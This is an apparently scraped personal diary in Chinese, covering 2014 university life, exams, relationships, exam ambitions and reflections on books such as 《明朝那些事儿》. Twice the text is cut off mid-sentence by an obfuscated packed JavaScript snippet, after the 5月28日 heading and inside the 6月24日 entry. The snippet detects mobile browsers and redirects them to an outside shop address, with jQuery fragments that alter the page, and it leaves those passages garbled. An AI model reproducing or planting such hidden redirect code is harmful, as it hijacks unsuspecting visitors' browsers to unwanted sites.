2014年5月9日 星期五 多云？ 啊哈哈！我终于可以坐在这里写日记了～过了个愉快的“五一”，紧接昨天的物探考试。 先说“五一”，一般像这种过了很久才补的日记都是梗概……第一天是购物大丰收！和大山买了裤子和鞋，昨天看《破产姐妹》，据说优惠券是穷人才用的东西，SO？我爱死打折！ 第二天我们先去海底捞胡吃海喝了一番，就开始为去看阿彬做准备。家乐福的水果真心比其他超市新鲜。去到第五医院和阿彬聊天还是很开心的。和她分享了我和大山拍的“抠鼻屎”GIF和搞怪照片，她和我们讲她的奇葩室友。我建议她发个帖做楼主，或者写日记记下来。日记本后来我麻烦芬儿她们带到了，至于后来，要她自己努力了！ 那天回来后累到不想动，可是却有一场王力宏演唱会，千百万个不愿意因为舍不得钱还是去了。人多！被挤……但是当看到全场的荧光棒的时候还是觉得非常赞的。只是觉得诺大的体育场，怎么坐都一样。不过开场五分钟后，大山和我有同感，坐到VIP的人爽爆！于是我们决定，以后看演唱会，要么最贵，要么最便宜！这是何等的觉悟～王宏的声音真心赞，传说中的磁性，钢琴、小提琴、吉他、二胡！加上清唱，全场大呼“力宏”！万人大合唱！第一次听演唱会，如此美妙的记忆～第三天去弄珠宝了，不说，很开心！ 拖延了很久才开始复习“物探”，冲60分去的。不作弊是原则问题，也是我的骄傲。脖子痛，这些东西留在我记忆中就好。 88.大三（下）（7） 2014年5月11日 星期日 小雨 困，马上就回宿舍。早上醒来后就给社会各界的女士发去了母亲节问候。这几天全无学习状态……自习室又吵了起来…… 把最近的备忘整理一下，不懂从什么时候开始喜欢上了逻辑推理，有些事会去分析，这是受大山影响吧～有的事不想做也不退缩，会告诉自己，不逃避！用脑子认真想！这是很好的进步～前几天看了黄西的脱口秀，他才真是玩转英语的人。想到昨天外教发来帮我改过的邮件，好惭愧……自以为进步了不少呢！ 有看人说“厌倦是堕落的根源。”这句话很对，我不断探求新的刺激，也是为了不让自己厌倦吧。生命的意义有无限种啊！最近着迷于《全职猎人》，奇犽是我极喜欢的人物，而在动漫里人们都偏爱小杰。或许我认为自己和奇犽很多地方很像吧，比如对自己的自信～不过似乎动漫里总有小杰这样的角色，单纯、热血、善良、强大！还有个牛逼的爹！我喜欢的动漫似乎有一个共性，主角有特殊的能力，这种人几乎不可能拥有的东西让我着迷。 昨天爬上床前忽然想到几点关于我的感情。毛羽和我为什么不再可能？因为有过欺骗。一旦说谎，之间的信任再不可弥补，所以我选择对大山绝对坦诚。还有，若不能和一人完美相处，我会选择放弃用心。和毛羽之间的太多瑕让我难受，我追求完美和完整，所以放弃。我告诉了大山很多束缚我的方法，或许也是为了他和我完美完整地完成我们的感情。我喜欢完整、清晰，太喜欢到偏执。 最近还有一个想法，就是疯狂地想去旅游，明知道不可以，还是想……浩子发来他一个休学同学的创意，却丝毫吸引不到我。我喜欢比我强的人，所以不会太去关注还不如我的创意。不过昨晚偶然看到的雷励项目，为偏远地区的儿童和老人拍照，解决缺少童年照和遗像问题，这打动了我。公益有很多种，努力！ 2014年5月19日 星期一 晴 刚考了专水，交完卷就第一个冲了回来～本以为要挂，及格还是可以的。上午刚下了火车，头晕得不行，书是没读了。整理了一下，擦个身什么的就睡了。坐火车总是很伤神的，不过现在比以前好得多，备忘上记的菜回家也基本吃了，不过复习什么的就都是浮云…… 回家那天是要给爸妈一个惊喜的，也确实给到了～去药房称体重是94，今天回来称也是94，回去一路我是笑着的，回来的一路表情就……写不下去。头晕。 2014年5月26日 星期一 晴 居然和坐在我右边的人聊了这么久……全当放松好了…… 自习室的桌子上落了一层灰。连续一周的考试下来，有种说不来的感觉。第一大节去补考了水文地质，现在还没到交卷时间呢。监考的又是李和燕老师，哈，连续好几场了。接下来要做的就是备考概率，也就和考研复习一起开始吧！接下去的实习也要做好专业准备。 周五考完水文水利计算请大伙儿吃了一顿。下午去看了阿彬，看来她并不知道自己的病情，还在想着过几天就出院的事。开心是一定的，我尽力做了我可以的。和大山一起看了《失恋的巧克力职人》，这样客观地去看，我身上集中了纱绘子、爽太、艾蕾娜三个人的部分特质，但其本质仍是可恨的。我确实做错了。既然明白是幻想，即使给了动力，也让它破灭。纱绘子被我骂了无数次，毛羽、大岩也是窥见了或是嗅到了，抱歉！真心的，对于巧克力什么的我确实兴趣不大，不过有喜欢的事和目标并为之奋斗，确实是很幸福的事。 打算在考完之后好好看书，昨天也确实下了好几本，想到自己有书可看，顿时觉得人生还是非常美妙的～接下去也就没什么好写的了，看几页书吧！ 只是看了一小会儿书，我就获得了极大的满足感。和人分享书的快乐～《我和阿勒泰》在我面前展开的是一种新鲜却亲切的生活常态，轻松、愉快却让人停下思考，新疆边界人的生活竟是这样！《海子的诗集》一天读一两页也够了，有太多的东西要消化。程浩的文字又一次给我带来震撼，不是可怜，是心痛和爱，书对我来说，太美丽！ 2014年5月28日 星期二 凌晨 不管是多糟糕的结局，这都是一个结局。我总是想用满满的仪式感来了断，随我的一切混乱、冲动、和回忆和幻想做一个了断。六年，我总喜欢用时间衡量情感，我舍不得的到底是什么？哪里有多少是快乐？ 决心，下了多少次决心？可做不到就不配更好的爱。是否可以被原谅？结束了就又会开始，让一切过去。我有错，可你也明明在勾引！可我却说不出口，恨我好了，这再也与我无关。 为什么这么迷惘？下午从床上爬起来就冲去了教室。我们看了《哈姆莱特》，给我感觉依旧没变。一句简单的话说得花里胡哨……男主矫情、无脑、冲动、被仇恨蒙闭了双眼，女主脆弱单纯也是无脑！老师抓着外国语院的人不放，头痛…… 这几天主要看的是《站在两个世界的边缘》，每重看一篇又是一次思考。关于梦想和爱情，饱含了多少期待。我也想让人了解我的一切，爱这个世界。女巫，伯爵写给女巫的那封信，幸而我有机会实现。那千千万万个美好的瞬间，我是如此的幸运。这世上有那么多事等着我去完成，哪还有多余的时间忧愁和烦恼？我爱这个世界，但更爱自己，伯爵对女巫说：“若能爱你，死何足惜？” 2014年5月28日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223600|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星期三 晴 四点半，我和燕子聊到了凌晨四点半。我躺上床过了几分钟睁眼，看见了天亮。人们总喜欢等天亮。晚上睡不着的，等天亮。夜里害怕的，等天亮。天亮，是多么美好的事～我们聊到了外面的路灯都灭了，那忽然暗下去的瞬间，天要亮了！ 《我的阿勒泰》里的新疆，感觉那么美好！那种淡淡的感觉我却再也描述不来了。关于写作，我现在不应该急于写出什么，我还需要沉淀、积累，这是漫长的酝酿，急不得。《站在两个世界的边缘》，每一篇，每一点，我还有多少需要努力？写不出了，脑子不转了，起的不晚，午睡吧！ 吼吼！“成王！败寇！”这是刚看的《明朝那些事儿》的结尾一句。昨晚和燕子聊天的一瞬间，发觉自己懂得好少。话题总围绕自己展开，并没有哪一个领域是我非常了解的。只是很多知识总是我碰巧知道，都是分散的知识点。甚至有种我在努力搜刮自己的记忆，说出点与话题有关的“别人家的见解”，顿时很窘迫，我对自己不满意。 在看到朱元璋和他的谋士们做决策的时候，我又顿时觉得自己没有才能。我在想，我又能做什么？很多时候，我仍旧不能很好地表达自己。这本书很好看，历史也是可以很有趣的～那我在历史洪流中是否可以成为一个人物？我很喜欢书里的一句话，“朱文正，请记住这个名字，这个人物很关键。”忽然想到昨天燕子和我说，名字是父母送给孩子的第一份礼物，她认为这很重要。哦！我对自己的名字很满意。 又想到的是“知乎”和“豆瓣”。对于很多事我似乎都比别人晚了一步，而后又懒了一点。所以今天的结果又能说什么？浩子说大学最幸运的两件事：一、遇见我；二、上知乎。这世界又有多少惊喜在等着我？比如下午路过喷水的草坪，随喷头的旋转，洒下了一片彩虹。 2014年5月30日 星期五 晴 想看日出，大村庄太热，根本出不去，我怕自己中暑。全宿舍这一台电风扇二十四小时不停地转，却我还是湿了一身又一身。 大山问我是不是受了打击，我回答：是，眼见着以前和你在同一起跑线的人跑在了你的前面，真不是滋味。重点是，他们仍旧比你努力。 想了很多，终于坐下来写日记却记不得到底要写什么。似乎有“伪球迷”什么事，这三个字让我不再看球，不再编胡话。那些我在意的人在我身上留下了多少痕迹？我选择蒸发是希望再出现的时候可以更好，好到什么程度呢？闪耀！结果我没能达到。于是又玩起了“蒸发”。我似乎很喜欢这个把戏，注入太多幻想，只是不够努力。“仪式”这种东西被我看的很重要。等看到朱元璋崩我再写个小结吧！还好这几天看了几页书。 89.大三（下）（8） 2014年5月31日 星期六 晴 胡思乱想和制定计划似乎是我最喜欢的娱乐项目。无论何时何地，省钱又省力。不过我会想方设法把这些记下来。以上的娱乐加上满满的仪式感！我喜欢整点、整天、整月什么的……比如明天就是六月了！开始干点什么吧～服了我自己。一拖再拖的考研准备，开始。管他什么计划，每天至少要读一点！ 《明朝那些事儿》看完了朱元璋篇，现在是朱允炆，却总感觉主角是朱棣…看史明智！确实认识到了自己的不足。我向来认为自己与众不同，但绝未到让算命先生看一眼便追着为我算卦的地步，这说明，我并不是天生的大才。看朱元璋打天下有一种大快人心的感觉，因为我们都喜欢聪明人，他人生的决断大都是正确的。每遇到一个重大决定的冷静和果断，这便是“天子相”。相比之下，我顿时发现自己连一流的将才都做不了。徐达、常遇春、李文忠他们英勇无畏，我害怕杀戮，惜命，让我想到李景隆，白痴加草包……三国和明朝的开国初期都是英才备出，大将和谋士个个了得，可到了后期似乎百年才出一个人才，这种历史现象不知道后来会不会解释，或是我理解有误。印象最深的是杀人，换了一批又一批，这一招着实可怕，有才若太显露会被杀，无能被牵连也被杀，这为人一生真是难。 朱重八隐忍多年终得天下，我也同样要学会韬光养晦。“不封王不称帝”，慢慢积蓄力量，不要天天把自己要干嘛挂在嘴边，要学会默默努力。我还是说太多了。 2014年6月8日 星期日 多云 早上起来就刷微博真的会让人变傻，我的脑子现在就不转了，一大堆的灵感也全无了踪影。昨天考完概率花了剩下的几乎所有时间改了一篇东西，眼睛到现在都痛。 我们总是在和人比较。我对人的要求还真是苛刻，跟不上我思维的，我不喜欢，觉得性格合得来，却不喜欢不上进。我喜欢的人觉得和我有隔阂，我也不曾让谁走入我的世界。要想看到真正的我，好难。有很多人围着的时候，我不会靠近。只有当我觉得她可能会孤独，那我会尽力不让她感到孤单。我觉得你做事不周到，我就会直接表现出恶意。其实真正的原因是我有一颗“玻璃心”，易碎，然后再用水泥糊起来。这些问题我总是会偶尔又在意到，过两天又选择性忘记了。人生这么短，每一秒都是消耗生命，我又怎么能如此奢侈？从今天起，早上再不刷微博！ 2014年6月12日 星期四 晴 出野外真不是省心的活儿，今天这一弄反倒是坚定了我转专业的决心。那一大堆的感想在坐在这里的一刻好像也写不出来了。哈利波特和阿兹夫班的囚徒，再一次看结尾仍旧感觉温馨。忽然想读书，那就读吧！ 2014年6月14日 星期六 晴 前面在看程浩的《致远方的你》，这次我哭了。这是一封情书，很让人心疼的情书。我说不出更多的话语来描述自己的心情。他只比我小一天，却拥有我指数倍的成熟。很多篇都是直□□内心，鲜血淋淋。我的自视甚高，我的与众不同，我的孤独，都是那么一文不值。投稿失败又怎样？我可以一次又一次地继续。写作是不可以停止的，这是一个输出的过程。看书只是一个吸收的过程，我们要学会输出，这有利于自己思想系统的形成。那么多的灵感又被我放跑了……还记得出野外那天，烈日当空，有“布谷，布谷”的叫声。 2014年6月15日 星期日 晴 坐在这里又写不出什么来了。我想给自己列下生命清单，记下自己所有疯狂的想法，向往的地方，一定要做的事。程浩对自己的三问：“我想要什么？我还有什么？我能放弃什么？”《站在两个世界的边缘》这本书对我来说是意义非凡的，虽然后半部分的读书方法和书评我没什么兴趣。一篇一篇的我真不懂怎么评，再看吧！ 好不容易起来就坐下来写日记，虽也没几句话，但也是起床的灵感啊！话说我摸了摸脖子，全湿了……昨天那六级考得叫一个烂……自从看了《十天突破雅思写作》，深深感受到了自己的虚弱……这里又一次感谢木木的推荐，芬儿找佩佩借了帽子，这问题也解决了。现在这年代，我也会化妆了，昨晚又去买了自己的全套，也算了完成了我自己的心愿？总是没安静几分钟又吵了，这点真是烦。 读不下去，每次读不下去的时候我该怎么办？我好像不太喜欢和别人说我在努力，可又希望他们可以看见我的努力。可好像他们都看不到，又或许我不努力所以没得看。 “人生清单”又要拿出一本新的笔记本了。我总喜欢拿出一本又一本崭新的笔记本，似乎要有一个新的开始。可是呢，却总是没用几页就换了一本。是不是很像我的做事风格？我过度依赖思考了，没怎么行动，还喜欢把思考记下来，这也是奇葩……“生命清单”上一定要有这么一件事：做一件大部分人都认为我做不到的事，比如考上华东水利的研。有能力和心就多做几件。哎！我就是喜欢出人意料。 2014年6月16日 星期一 多云 热敷之后头痛缓解多了。忽然发现自己在舍友心目中的高尚！月月化妆、涂甲油了三年，什么都没发生。我前几天刚买了化妆品、甲油，舍友们也装备上了！哈哈～我学英语、看课外书她们怎么没学啊？！ 这两天满脑子想着在《明朝那些事儿》里找一个牛气的文臣武将，以后好给孩于起名，却发现没几个善终的。为什么只是追求成为名臣而不是王？我才开始考虑野心和欲望的问题就被“王的命运”吓怕了。好难！几经沉浮，非生即死……被万人窥视，没有亲情、友情、爱情。得，安心做个臣。看着明朝的那些个人，我惊心动魄。是不是一个好人和是不是个好皇帝是不相关的两件事。做臣好了吧！历史这高大上的，我去写点信吧！ 2014年6月18日 星期三 阴 昨天从野外回来，在擦身的时候顿时有巨大的厌恶感。这种感觉我一年总会有一两次，而且总是面对那时无法改变的境遇。 这次的实习我很失望。北方和南方有着巨大的差异，铺天盖地的尘土让人有种永远也洗不净的感觉。村子里的水井是要用泵抽水的，往往还会被锁起来。矮矮的两颗种在一起的玉米苗，因为他们长不大。老乡说村里的井都废了，用水库的水浇地，可是一亩地三十，贵……当然，我喜欢那大片大片的向日葵，可惜每片叶子上都积着厚厚的灰。我不适合做这些事，不擅长听方言，也不善于和老乡打成一片，我甚至就不知道如何与人打成一片。这样也好，起码我知道自己不要做什么。 我和爸说，我喜欢惊喜，却总得不到。爸说，你得不到自己想要的惊喜就去为别人创造。我认真一想，我还真的是这样做的。把自己想得到的惊喜给了父母、男友和好朋友。只是，我仍旧无法原谅自己的过去，我一想到以前自己做过的事就痛苦万分，夜不能寐。我在调整，努力地调整。 每天我都会故意比舍友睡得迟，这样，我午睡前，她们先睡了，有一段安静。她们醒会吵醒我，这样我就不至于睡太迟。在最不想学的时候仍旧继续学，这才是要学好的人的心态。我知道数学是自己的短板却不努力，那我比那些不知道自己缺陷的人还傻。我终于知道当初那些学长学姐看我的样子有多可笑，这又让我无法释怀……器小，我要接受全部的自己，收敛，努力。 2014年6月21日 星期六 晴 夏至，连续几晚上睡前都大哭了，压力太大了吧！说一下考研目标，数130，专业120，英75，政65，共计390。做大事是命，但事可以做多大，掌握在自己手中。写不下去了……两个电话打的。 2014年6月22日 星期日 阵雨 所谓灵感这种事，真是没抓住就没了……每次看书时的万分感慨，过到现在就记不起多少了……傍晚下了一场雨，狂风大作了很久才憋出了几点，湿度只有46％。好不容易下大了，我每抬眼一次小一点。我眼见着雨细下去，半小时后没了！ 请芬儿和朝儿吃寿司，看到了他们的不适和窘迫。我当年也有过这样的时候，不过以后的我却再也不会。如萍在依萍面前并没有故意显示优越，却处处透着优越，能怪如萍吗？她是那么温柔善良，惹人怜爱。最近小郭闹剧荒，在看《情深深，雨蒙蒙》，不得不佩服当年的演技派。 每天坚持至少阅读一小时，最近自己在努力沉淀！不要急于去做什么，我要静下心来，还要积蓄力量。大器晚成也不失是一条明路，但既决定要走，现在便不能松懈。这一点点，一步步，最后终会成功。 中午看《明朝那些事儿》，朱厚照因为贪玩被所有人追着跑，皇上这种身不由己的职业，真是难。每看到有忠臣以身殉国我就感动得全身起鸡皮疙瘩，换作今天的我，估计是自保了。坏人拍马屁做坏事，好人拍马屁可以是为做好事。死了自己，不如活着多为百姓做点什么。 2014年6月24日 星期二 晴 这两天看书居然哭得稀里哗啦的。先是看到孙燧为国义然赴死，再看到王守仁的淡泊名利。那么多的忠臣义士为天下苍生劳作，太感动！不过能人的一生注定坎坷，读书人该专心做学问就别去搞权谋，政治这种东西不是谁都能玩得动的！王守仁去世那段是真的哭得伤心了，拍了那些话，就写他死前那一句：“此心光明，亦复何言。”憋了一肚子话，和父母聊天后，想写的似乎少了很多…… 今天忽然开始看《那些回不去的年少时光》，那一针针扎向我。那些伤害过我和我伤害过的人，永远清晰地刻在我们有悔恨的青春，不管我们遗忘了多少，这都不会忘。温柔地对待遇见的人，只为多年后，少一份悔恨。这道理说的精妙，我经不住唏嘘感叹，李哥、小波、乌贼，哪一个是故意要那样的生活？那是人生，无奈的选择。我现在才真正懂得，人生有太多的无奈。“不是差生就不是好人，不是只有好生才是好人”，这句话多讽刺。每一个与众不同的背后都有原因，而我的原因是不是很逗？我很幸运，太幸运！完整的家，一定的经济实力，父母在很多方面思想开明。至于高中的那件事…… 现在我越看书，越想努力。这种努力是我对“知行”的实践。现在我们正值青春，却已经开始怀念。小学、初中、高中，很快又要怀念大学。还好有些事懂了，终没有犯下大错。我的人生，要按自己的想法走下去，这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13236640|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恣意，是以我的幸运做资本。是，我幸运又幸福！ 2014年6月25日 星期三 阴 初恋是不是都很傻气？爱得自卑，又爱得骄傲。《那些回不去的年少时光》让我哭了一次又一次，或许是一句很平凡的话，却说出了我心中一个又一个秘密。唯一让我无奈的是理智，我不理智。我因为爱放弃了自己，放弃了自己的前途，这是愚蠢至极的。或许是因为我相信，爱我的人会养我。罗琦琦说：“我不想十年、二十年之后，张骏回忆起他的高中，很后悔的说，如果当年没和罗琦琦恋爱，也许我能考一个好大学、能读一个好专业……”“喜欢就是把自己的心交给别人掌握，让别人掌握你的喜怒哀乐”。当年的我没能有这种觉悟，对于学习，我似乎忘却了多年，现在我打算重新捡起来。 我忽然觉得我有好多的话想和毛羽说，可是我知道什么都说不出。对于我对过去的感怀他只会嗤之以鼻。那些回忆，只是我对于自己，对年少时光的感怀，而不是对他。对于人，只是一件一件事累积起来的情感。我越发感觉到，当年我们的感情是多么珍贵，他对我，我于他。缺席的时光是永远无法弥补的，无论我们多努力地去填补空白。不在，就无法感同身受。很喜欢小波对张骏的评价：“他慧眼看到了琦琦的好。”被人如此真心爱过，是莫大的幸福。 对于书本身，言情仍旧是不值得推荐。怀旧也不该是现在做的事，除非自己有过经历，否则只是无关痛痒的感伤。读书于我是点拔和共鸣，我慢慢理解了很多事。过去了，过去了，纵使我没有进到重点名牌，但那也是我的青春，无悔的！再说，现在拿起笔，一点也不迟。 我最近是怎么了？总觉得每看一本书都是上天安排让我更进一步！ 2014年6月27日 星期五 晴 这一场场政治斗争看下来，觉得以前的很多事都太小儿科。不知道为什么，一想到出国，我心中便涌起万千感慨，尤其是看别人出国。我心中也有自己的怯懦，知道自己不够好。我定要说一口流利的英文，这是基础之一。陆炳的那几大条并没让我有太多想法，毕竟长得帅、家世好、有能力的人一直都有，只是他家世代为官，怎么个世代？五百年！从五代十国开始。这种要一家子人世代传承的事业，只能感慨！ 再提一提徐阶，曾到任**，书中是怎么说的呢：“民风骠悍，通俗地讲就是不读书、敢闹事；靠山吃山，靠水吃水，不吃白不吃；穷山恶水出刁民。”我来自这么一个地方，哈哈！他也是王守仁的传人，“知行合一”倒是官场上的不二法则。最佩服的是他的“先隐而后发”，所谓君于报仇，十年不晚，那政治斗争看得我血脉喷张！刺激，但不是为了权力。或许拿到权力以后心境又会改变了吧！我决定要努力地修炼自己，走路像鹤一样～注意自己的仪容仪表，内在修为。读书、思考、实践，加油！ 2014年6月28日 星期六 晴 这几天心烦意乱，昨晚和爸也讲了杨继盛用破瓷碗刮腐肉的故事。为了苍生百姓，他选择死颏。即使一生为国却也未能善终。那些叱咤风云的人物一生又有几人得以善终？ 2014年6月29日 星期日 晴 我老把自己当成狗血言情剧的女主。虽然，从某种程度上来说我的境遇真的那样好。是吧，现实生活中一定要选男二啊！不过既然女主选了男二，那男二也再不是男二，是男主了。这一系列的故事，我估计自己也坚持不了几天，所以说四个月以上的追求才是真爱啊。 我的欲望太多，可实力却支撑不了我的野心。要想在SCI上发论文，首先要英文好，然后专业成果，那我必须考上华东水利，那就要学好数学和专业，这一切加起来真是够呛。心烦意乱，儿女情长的时候还是多想想自己的抱负，这日子也就不那么难过了。 2014年6月30日 星期一 晴 6.30注字是个好日子。想了很久的事，还是做了，免得自己后悔。后来的事似乎真的是我在尽力挽回。那么多缺点，明确又不明确的态度，我认了。结束了，没坚持几天，我就累了，不想做了。多年的空缺真心是弥补不了的，人生不可能完美，这一次就让它烂尾吧。 和大山、和浩子相处是我最轻松的时候，我可以完完全全地扔给他们看。不管好还是不好，他们自己就会判断。真实、做作、好高骛远，这一切的一切都不要我花心思解释和隐瞒。我想表达什么，我自己也不是很懂了。人的心力是有限的，我对几个人好以后就累了。有的人成为了我的习惯，有的人却再也走不进来了。 闹腾了半天，决心不去成都旅游。想努力考研，会觉得考不上是很可怕的事，或许会再一次迷失自己。都以为我在努力学习，却从未在学习上大有建树。人生这么短，能做成几件事？从现在开始，一点都不晚。或许我要比别人迟十年、二十年，可最后一定会成功的，只要我努力。不可以再犹豫了，沉沦了六年才真的明白这个道理吗？运气平平地活那就努力，更努力啊！我害怕自己又退缩。我爸说，当然要顾及他们的感受。很多事我仍不能像父母说的那样去理解，可没办法，我倒宁愿永远不要有那一天，有些想法永远不变。 90.大三暑假 2014年7月4日 星期五 多云 大三的生活结束了。有时候想想，时间就这样过了，总感觉有很多无奈。今天算是把睡眠调整过来了，之前的两晚都几乎未睡。发生了很多不顺利的琐事，可每次写日记却都不想记下来。那在现实生活中也学会不抱怨吧！如果这个也可以做到，那就很无敌了吧！ 自从看了《明朝那些事儿》，似乎明白了一些不一样的道理。至于何时去实践，或许无意间都在运用了吧。原来我不太喜欢一味正直的人。人这种东西太复杂，太多的事不是一个人可以左右。权力、地位，随时都可以失去，一旦失去，中国人最喜欢“痛打落水狗”。张居正见到了很多悲惨的事，所以他要为苍生去改变，可真正理解他的又有准？官，大家都在为谁向上爬？难道底层人民的生活真的就无从改变？海瑞给我的感觉居然是疯子。夏言、高拱、杨廷和，凡是做实事，贪污什么的也就那样了吧！居然写不出贯通我心意的话…… 《我的阿勒泰》不是每篇都好看。但我第一次知道了新疆地区游牧民族的生活，单纯的只为了“活”，那种纯粹让我说不出更多的话。广袤的森林和草原，无边的寂静，他们的生活在我看来条件是那么艰苦，可又那么有趣，无需多想。可是昨天的那篇《木耳》却又让我语塞，总有人为了钱去破坏自然，原本的惊喜和馈赠变成了焦虑和争抢，因为我们不只为了“话”，还想“活得比别人好”。 《加速世界》是浩子断言我不会喜欢的动漫，因为男主矮、胖、挫。在现实生活中受挫所以去游戏里找安慰，游戏的角色是对自己的期待和想象。可游戏永远只是虚幻，我们必须走到现实中来，承受那些我们必须承受的。不论是书还是现实，出现了越来越多我无力解答和抗争的问题，可我仍旧不断向前，虽心留疑问，但相信自己终有一天可以想通。这不就是我一直以来生命的意义吗？对于春雪的懦弱我会很嫌弃，可现实生活中的我不也是一样的吗？春雪觉得自己失去了翅膀就再也无法战斗，那我呢？到现在还要因为“高考的失败”放弃战斗吗？失去了就不再去想失去，不是应该认真看看自己还有什么，然后再努力去获得更多吗？张居正年少太多顺利的狂傲，所以导师未让他中举。那我呢？人生有太多的顺利，走过这道坎，加油！ 2014年7月8日 星期二 多云 从回来那天起状态就不怎么好，总觉得头昏沉沉的。今天早上去看了病，除了肺，全都不好了。昨天看完了《我的阿勒泰》，倒也不想写什么评。之前也都写过了，读书这件事真让人觉得麻烦。明明什么都写不出，还要写……讨厌看和日本人打战…… 2014年7月10日 星期四 晴 在家的感觉就是无尽的昏睡。昨晚又一次屏气大哭了一场，现在的我竟再没有归属感。这种的烦躁心也不知道从何而生。不知道怎么会这样地渴望爱。原来我和父母之间竟也生出了隔阂。我封闭了自己的心，却又期待一个人的出现，可以让我把心掏出来。 我是这么矛盾，父母的每句话都会让我有所感。现在的我已不是父母的中心，我说不清他们用了几分时间在我身上，只是，感觉很多东西只是浮在面上了。这很好，父母有他们自己的生活。我要做的，便是努力报答他们的养育之恩。或许，是我自认为花了更多时间对父母吧！关于人和人，我是惜命的，自负的，不会长久的顾虑我现在也不想去想了。有些话永远都不能对父母说，可我怕我不会爱自己的孩子。 再看《围城》还是喜欢，又觉得自己和方鸿渐太像，没个正经，又喜欢评判他人，有自己的想法，却又不努力做出点什么。苏文纨的话，天啊！我看哪本书的哪个人物都觉得和自己像，我真是复杂的性格……父母对我真是影响深重，我所有讨厌的或许都是我自己，哭过之后便说：“我会更好。” 2014年7月11日 星期五 阵雨 隔一段时间我的心思就异动几天，下午这又忽然反省自己了。这所谓“异动”确实人之常情，只是我这个年纪太过关心这种事，享受人生管好自己！ 现在会害怕和人接触，似乎是因为自己修为不够害怕别人看不上。可闭关期间却又不够努力，只能气自己。刚才木木在群里感慨自己学历低，是实习单位又来一位牛闪闪人物。上午我也因为微博上偶见的一十五岁小姑娘感慨，照片里随意的一个表情就感受到那爆棚的自信。那我了？确实没有哪方面特别行的，学好专业怎样？不如学好高数吧！很牛的样子，加油！ 2014年7月13日 星期日 阵雨 今天凌晨看完了《围城》。这次看又一次深深感受到“围城”之精妙，尤其是最后杨绛写的注解。我被钱钟书和杨绛间的感情深深打动，那便是我向往的夫妻之情。 方鸿渐和孙柔嘉在一起后，两个越发令人厌恶。婚姻若是演变为那种样子，我宁可不要！我看了杨绛的评也认为自己越发像方鸿渐，满腹牢骚、狂傲自大，却没有什么真本领。《围城》里确实是妙语连连，不得不佩服。我一边感叹别人的才华，一边自己却又不肯努力，你说这是不是可气？可我为何又不能只做一个混世的普通人？（这话说的好像我想就可以成为不凡的人或我已然是位伟人……）终其一生，我仍只是个普通人罢了。 早上的事也不想记到日记里来，我是不喜欢记不令人愉快的事的，因为不愉快就让他过去，不记。只是，我此后再不问未来。该承受的我都一并承受，自己选了就自己走。该做的事我做了，问心无愧，不论别人怎么说我也不理。路要自己走，幸福要自己争。若是我真走火入魔，也无人能理解心境，这路我照样走。若是有人真心愿意陪我，我也必不辜负。 2014年7月17日 星期四 晴 要走了，昨天开始忽然对父母有一种说不来的歉疚。 2014年7月20日 星期日 晴 石头城的天气闷热到没有道理，对于仍旧未投入到学习中的我只是多了一个理由。坐在公交上我想的是乘旅游巴士的旅行，我们跟着导游在每一个景点下车、集合、上车，离开。我们从来真正地融入这座城市，只能说我到过哪些景点。公交、地铁上的拥挤和嘈杂，城里人的嬉笑怒骂。旅游，我们要的到底是什么体验？我又困了。《滑头鬼之孙》很不错，讨厌看明末和后金打仗，但愿我可以看几页高数。 2014年7月22日 星期二 晴 我的手机因为版本过低刷不了知乎，我也没打算换手机什么的。最近会回忆起小时候的事，和外婆外公，却似乎回忆里没有父母。总感觉自己不努力，对不起父母，却讨厌被人说破。因为这样即使努力了，也好像是因为别人说了什么，可明明是因为我自己醒悟了。我依旧是这么自我，忽然发现因为看了《明朝那些事儿》居然可以自然而然地说出一些历史的事，看日本动漫也可以了解背景，是脑子里自动浮现的知识，这种感觉很不错～书真是好东西～只是这几天没怎么看课外书了……《滑头鬼之孙》里的可奈让我讨厌，因为她弱小，要被保护，拖后腿。可是，总有人愿意去保护她。我是因为讨厌自己弱小吧！ 2014年7月24日 星期四 雨 这几天总是悲悲切切的，也不知道自己到底在干嘛，我有时真觉得是受够了自己。和父母打电话，感觉他们都比我要努力，我又怎么好意思？好容易又愤怒了，总是那么生气，气的还是自己的无能，总觉得在多个自我中转换。 《三生三世，十里桃花》这种书看了会让我疯的吧！顿时觉得自己有时迷失微小的可怕。《滑头鬼之孙》两季都看完了。所有人都知道，我要变得更强，自我迷失，可怕的东西。7月的前24天，我真是服了我自己，又这样又这样，都不能改好。 2014年7月26日 星期六 未知 不知道是第几个晚上睡不着了，太阳要出来了吧！似乎有流不尽的眼泪，却不知自己到底在感怀什么。有些书不适合我看吧，可现在看书却好像不挑了。总有那么几句话会深深印在我脑子里，像是全说中了我，我又不得不认同了的话。看人家幸福我也落泪，看别人忠义我落泪，看他人为人所伤我还落泪，可这泪，却是为我自己落的，我却好像不知道原由。 夜华对白浅的情，若我不是旁观，估计也是看不透的。可正是因为旁观，所以羡煞。那种被爱，我总怕是得不到，可我又想是自己要了太多。我又犯了大忌，书中写的，我全信。只恨自己不能是白浅，让各种人深爱，可我真的又要那么多吗？是我爱的极端，恨不能全身心只去爱。坐在这，也自觉傻，蠢得可气。 这几年我早习惯一人不出声地落泪，后来即使落泪，不见我面，声音也听不出颤，这就是我。即便躺在我身边，也觉察不到我难过。是，我难过，或许是无时不刻地难过。可这些不都是我自己生出的忧愁吗？我爱一个人，却爱到自觉可笑。我爱自己，又爱到恨。我越发知道人的蠢笨 